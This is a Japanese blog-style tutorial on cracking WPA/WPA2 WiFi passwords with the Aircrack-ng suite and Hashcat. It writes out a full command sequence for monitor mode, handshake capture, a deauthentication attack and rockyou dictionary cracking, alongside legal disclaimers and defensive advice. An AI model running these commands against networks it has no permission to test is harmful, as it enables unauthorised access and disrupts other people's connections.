この記事ではセキュリティに特化して解説します。AIセキュリティ全般は サプライチェーンセキュリティ完全ガイド2026|攻撃手法・防御ツール・実践チェックリスト をご覧ください。
概要
本ツールの使用は、自分が管理するネットワークまたは書面による明示的な許可を得たネットワークに対してのみ合法。権限のないWiFiネットワークへのアクセス試行は多くの国で刑事罰の対象となる。教育目的およびセキュリティ研究用途の解説として掲載している。
WiFi Cracking は、Airodump-ng と Aircrack-ng/Hashcat を組み合わせた WPA/WPA2 ネットワークのセキュリティ検査手法を解説するチュートリアルリポジトリだ。周囲のWiFiネットワークのスキャンからハンドシェイクキャプチャ、パスワード検証までのプロセスを段階的に説明する。GitHub で12,000スターを超え、セキュリティ研究者・ペネトレーションテスターの学習リソースとして広く参照されている。
WPA2の脆弱性と攻撃手法の原理
WPA2(Wi-Fi Protected Access 2)はIEEE 802.11iに基づく暗号化プロトコルで、現在最も普及したWiFi認証方式だ。しかし、設計上の弱点が存在する。
WPA2の認証は「4ウェイハンドシェイク」と呼ばれるプロセスで実行される。クライアントがアクセスポイント(AP)に接続する際、双方がパスワード(Pre-Shared Key)から導出したPMK(Pairwise Master Key)を使って認証情報を交換する。このハンドシェイクは無線で送受信されるため、パッシブに傍受できる。
傍受したハンドシェイクに対してオフラインで辞書攻撃を実施することで、パスワードの正否を検証できる。クラウドやハッシュクラッキングサービスを使えば大規模な並列処理も可能で、弱いパスワードは数分から数時間で解読される。
モニターモード対応NIC
Aircrack-ng インストール"] --> B["モニターモード有効化
airmon-ng start wlan0"] B --> C["周辺WiFiスキャン
airodump-ng mon0"] C --> D["ターゲット選定
BSSID・チャンネル記録"] D --> E["ハンドシェイクキャプチャ
airodump-ng --bssid TARGET -c CH -w capture"] E --> F{クライアント接続待ち} F -->|"自然な接続を待つ
(受動的)"| G["ハンドシェイク取得"] F -->|"deauth攻撃で強制再接続
(能動的・オプション)"| G G --> H["パスワード検証
aircrack-ng / hashcat"] H --> I{パスワード発見} I -->|"辞書にあった"| J["検査完了・レポート作成"] I -->|"辞書にない"| K["辞書拡張・ルール追加して再試行"] style A fill:#4a90d9,color:#fff style J fill:#27ae60,color:#fff style K fill:#e74c3c,color:#fff
環境構築とインストール
このチュートリアルを実行するには、以下の環境が必要だ。
- モニターモード対応のワイヤレスカード(すべてのNICが対応しているわけではない)
- Debian系 Linux ディストリビューション(Kali Linux 推奨)
- Aircrack-ng スイート
# Aircrack-ng スイートのインストール(Debian/Ubuntu/Kali Linux)
sudo apt-get update
sudo apt-get install aircrack-ng
# インストール確認
aircrack-ng --version
# Aircrack-ng 1.7 - (C) 2006-2022 Thomas d'Otreppe
# hashcat のインストール(GPUによる高速化が必要な場合)
sudo apt-get install hashcat
# ワイヤレスカードの確認(モニターモード対応チェック)
iw list | grep "Supported interface modes" -A 10
# "monitor" の表示があれば対応済み
Kali Linuxを仮想マシンで動かす場合、USB WiFiアダプタのパススルー設定が必要だ。ホストマシンの内蔵WiFiカードを仮想マシンに渡すことはできないため、別途モニターモード対応のUSBアダプタを用意する必要がある。
ステップバイステップのチュートリアル
Step 1:モニターモードの有効化とスキャン
# 利用可能なワイヤレスインターフェースの確認
iwconfig
# モニターモードを有効化(wlan0 を自分の環境に合わせて変更)
sudo airmon-ng start wlan0
# → mon0 または wlan0mon が作成される
# 周辺WiFiネットワークのスキャン開始
sudo airodump-ng mon0
# 出力例(一部抜粋):
# BSSID PWR Beacons #Data #/s CH MB ENC ESSID
# AA:BB:CC:DD:EE:FF -45 120 45 0 6 54 WPA2 TargetNetwork
# 11:22:33:44:55:66 -78 30 5 0 11 54 WPA2 OtherNetwork
Step 2:ターゲットネットワークのハンドシェイクキャプチャ
# 特定のBSSIDとチャンネルを指定してキャプチャ開始
# 必ず自分が管理するネットワークか許可を得たネットワークを指定すること
sudo airodump-ng \
--bssid AA:BB:CC:DD:EE:FF \
--channel 6 \
--write capture_output \
mon0
# 別ターミナルでクライアントの認証解除(オプション、ハンドシェイク取得を加速)
# これは能動的な攻撃であり、ネットワーク接続を一時的に切断させる
sudo aireplay-ng \
--deauth 2 \
-a AA:BB:CC:DD:EE:FF \
mon0
# ターミナル上部に "WPA handshake: AA:BB:CC:DD:EE:FF" と表示されたら成功
# capture_output-01.cap というファイルが生成される
Step 3:パスワード辞書によるオフライン検証
# Aircrack-ng を使ったパスワード検証
# rockyou.txt は Kali Linux に付属(/usr/share/wordlists/rockyou.txt.gz)
gunzip /usr/share/wordlists/rockyou.txt.gz
aircrack-ng \
-a2 \
-b AA:BB:CC:DD:EE:FF \
-w /usr/share/wordlists/rockyou.txt \
capture_output-01.cap
# GPU を活用した高速化(Hashcat 使用)
# .cap → .hc22000 形式への変換が必要
hcxpcapngtool -o capture.hc22000 capture_output-01.cap
# Hashcat での辞書攻撃(モード22000 = WPA-PBKDF2-PMKID+EAPOL)
hashcat -m 22000 capture.hc22000 /usr/share/wordlists/rockyou.txt
# GPU使用時の速度: 数十万〜数百万パスワード/秒
# CPU使用時: 数千パスワード/秒
検査手法の特性と比較
| 手法 | 検出リスク | 速度 | 必要機材 | 用途 |
|---|---|---|---|---|
| パッシブキャプチャ(待機) | ほぼなし | 遅い(接続待ち) | モニターモードNIC | ステルス性重視の監査 |
| Deauth攻撃(能動的) | 中程度 | 速い(即座に再接続) | モニターモードNIC + 注入対応NIC | 迅速な検査 |
| PMKID攻撃 | ほぼなし | 中程度 | モニターモードNIC | クライアントなしで取得可能 |
| Aircrack-ng辞書攻撃 | なし(オフライン) | 低速(CPU依存) | 不要(キャプチャのみ) | 軽量環境での検証 |
| Hashcat GPU攻撃 | なし(オフライン) | 高速(GPU依存) | GPU(NVIDIA推奨) | 大規模辞書・ルールベース攻撃 |
受動的攻撃の意味:airodump-ngによるパケットキャプチャは完全に受動的で、対象ネットワークに対して一切のパケットを送信しない。監視カメラが記録するように、空間に飛び交うWiFiパケットを受信するだけだ。検知が極めて困難な理由がここにある。
PMKID攻撃:2018年に発見されたWPA2の別の脆弱性。アクセスポイントに1フレームを送るだけでPMKIDを取得でき、クライアントの接続待ちが不要になった。モダンな監査ツールではこちらが主流になりつつある。
セキュリティ強化のための防御策
この手法を知ることで、自分のネットワークの防御を強化できる。
WPA3への移行が最優先:WPA3はSAE(Simultaneous Authentication of Equals)ハンドシェイクを採用しており、オフライン辞書攻撃が構造的に困難になる。2021年以降のルーターの多くが対応している。
強力なパスワードの設定:rockyouなどの一般的な辞書に含まれない、20文字以上のランダムなパスワードを設定する。大文字・小文字・数字・記号を混ぜ、辞書攻撃の成功率を現実的にゼロにできる。
ゲストネットワークの分離:重要なデバイス(NAS、スマートホームHub)は別SSIDに接続し、ゲスト向けSSIDとネットワーク分離する。WiFiパスワードが漏れても被害範囲を限定できる。
セキュリティ監査の自動化ツールとしては、Apache Airflowのようなワークフロー自動化基盤と組み合わせることで、定期的なネットワーク脆弱性スキャンをスケジュール実行するパイプラインを構築できる。
ツールチェーンの全体像
Kali Linuxのセキュリティツールスイートの中での本ツールの位置づけを整理する。
| ツール | 役割 | 特徴 |
|---|---|---|
| airmon-ng | モニターモード管理 | インターフェースの切替 |
| airodump-ng | パケットキャプチャ・スキャン | 受動的な傍受 |
| aireplay-ng | パケット注入・deauth攻撃 | 能動的攻撃(許可が必要) |
| aircrack-ng | WPA/WPA2パスワード検証 | CPU使用の辞書攻撃 |
| hcxpcapngtool | キャプチャ形式変換 | .cap → .hc22000 変換 |
| hashcat | 高速パスワード検証 | GPU使用、多様な攻撃モード |
これらはすべて独立したオープンソースツールであり、wifi-crackingリポジトリはこれらを段階的に使用するプロセスを一つのチュートリアルにまとめたものだ。
合法的な活用範囲
ペネトレーションテストの合法性は明確な書面による許可に依存する。実際の運用では以下が必要だ。
- スコープ定義:どのネットワーク・システムを対象とするかの明文化
- 期間の限定:テスト実施期間の明確化
- 守秘義務契約:発見した脆弱性情報の取り扱いルール
- 報告書の提出:発見した脆弱性と推奨対応策の文書化
企業のセキュリティ監査では、この種のツールをControlled Environment(隔離されたラボ環境)で使用し、実際のネットワークへの影響を最小化しながら学習・検証するのが標準的なアプローチだ。
関連記事: サプライチェーンセキュリティ完全ガイド2026|攻撃手法・防御ツール・実践チェックリスト